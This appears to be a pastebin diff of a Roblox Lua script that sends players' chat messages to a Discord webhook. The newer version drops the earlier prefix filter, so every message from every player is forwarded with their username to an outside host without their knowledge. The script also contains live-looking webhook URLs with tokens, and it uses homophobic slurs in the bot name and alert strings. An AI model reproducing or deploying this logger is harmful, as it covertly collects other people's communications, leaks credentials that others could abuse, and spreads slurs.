View difference between Paste ID: FRSQ0byt and U1ybJKbt
SHOW: | | - or go back to the newest paste.
1
-- made by chaotic // blackspiky67 --- way better version that only allows voidacity scripts
2
wait(0.003)
3
4
--enables http requests
5
local http = game:service'HttpService'
6
7
local BOT = {}
8
9
------------------ONLY EDIT THIS SHIT-------------------------
10-
BOT.uri = 'https://ptb.discordapp.com/api/webhooks/729704362141679647/XgKA9FiAhg5DVAtvmoYGysWomM3F6eEqpyY_C4uK8qSU3wvgD9TkAmNm6m4QCDuZ_a06'
10+
BOT.uri = 'https://discordapp.com/api/webhooks/751590886244352021/_1KaxiKb8EmPik7z5P-ZxqZK-mXR-D2GfwYPcg-_WylmX0VQHvQRVRWlCqEB06-HfJ7r'
11-
BOT.botname = 'sum fag'
11+
BOT.botname = 'bb'
12
---------------------------DONT EDIT ANYTHING BELOW--------------------
13
14
function BOT:SendMessage(Message)
15
local data = {}
16
data.username = BOT.botname
17
data.content = Message
18
19
data=http:JSONEncode(data)
20
return http:PostAsync(BOT.uri, data, Enum.HttpContentType.ApplicationJson)
21
end
22
-------------^^^^ needed shit for discord webhook to work tbh i dont know what df it means
23
24
-- half skidded shit from wiki but i added some stuff
25
game.Players.PlayerAdded:connect(function(player)
26
    player.Chatted:connect(function(message) onChatted(message, player) end)
27
end)
28
29
-- if players are in game it also logs them
30
for i,v in pairs(game.Players:GetChildren()) do
31
v.Chatted:connect(function(message) onChatted(message, v) end)
32
end
33
34
-- when a player chats it checks if it meets the requirements
35
function onChatted(message, player)
36-
local checkfam = message:sub(1, 2)
36+
--local checkfam = message:sub(1, 2)
37-
local antisb = message:sub(1, 19)
37+
--local antisb = message:sub(1, 19)
38-
    if antisb == "hl/http://robloxsb" then
38+
    --[[if antisb == "hl/http://robloxsb" then
39
        BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') 
40
    end
41
    if antisb == "HL/http://robloxsb" then
42
        BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') 
43
    end
44
    if antisb == "h/http://robloxsb" then
45
        BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') 
46
    end
47
    if antisb == "H/http://robloxsb" then
48
        BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') 
49
    end
50
    if antisb == "http/http://robloxsb" then
51
        BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') 
52
    end
53
    if antisb == "HTTP/http://robloxsb" then
54
        BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') 
55
    end
56
    if checkfam == "hl" then
57
        BOT:SendMessage(player.Name..': '..message) 
58
    end
59
    if checkfam == "HL" then
60
        BOT:SendMessage(player.Name..': '..message) 
61
    end
62
    if checkfam == "H/" then
63
        BOT:SendMessage(player.Name..': '..message) 
64
    end
65
    if checkfam == "h/" then
66
        BOT:SendMessage(player.Name..': '..message) 
67
    end
68
    if checkfam == "http/" then
69
        BOT:SendMessage(player.Name..': '..message) 
70
    end
71
    if checkfam == "HTTP/" then
72
        BOT:SendMessage(player.Name..': '..message) 
73
    end]]
74
   BOT:SendMessage(player.Name..': '..message) 
75
end
76
77
print("Initilized")
78
--http.HttpEnabled = true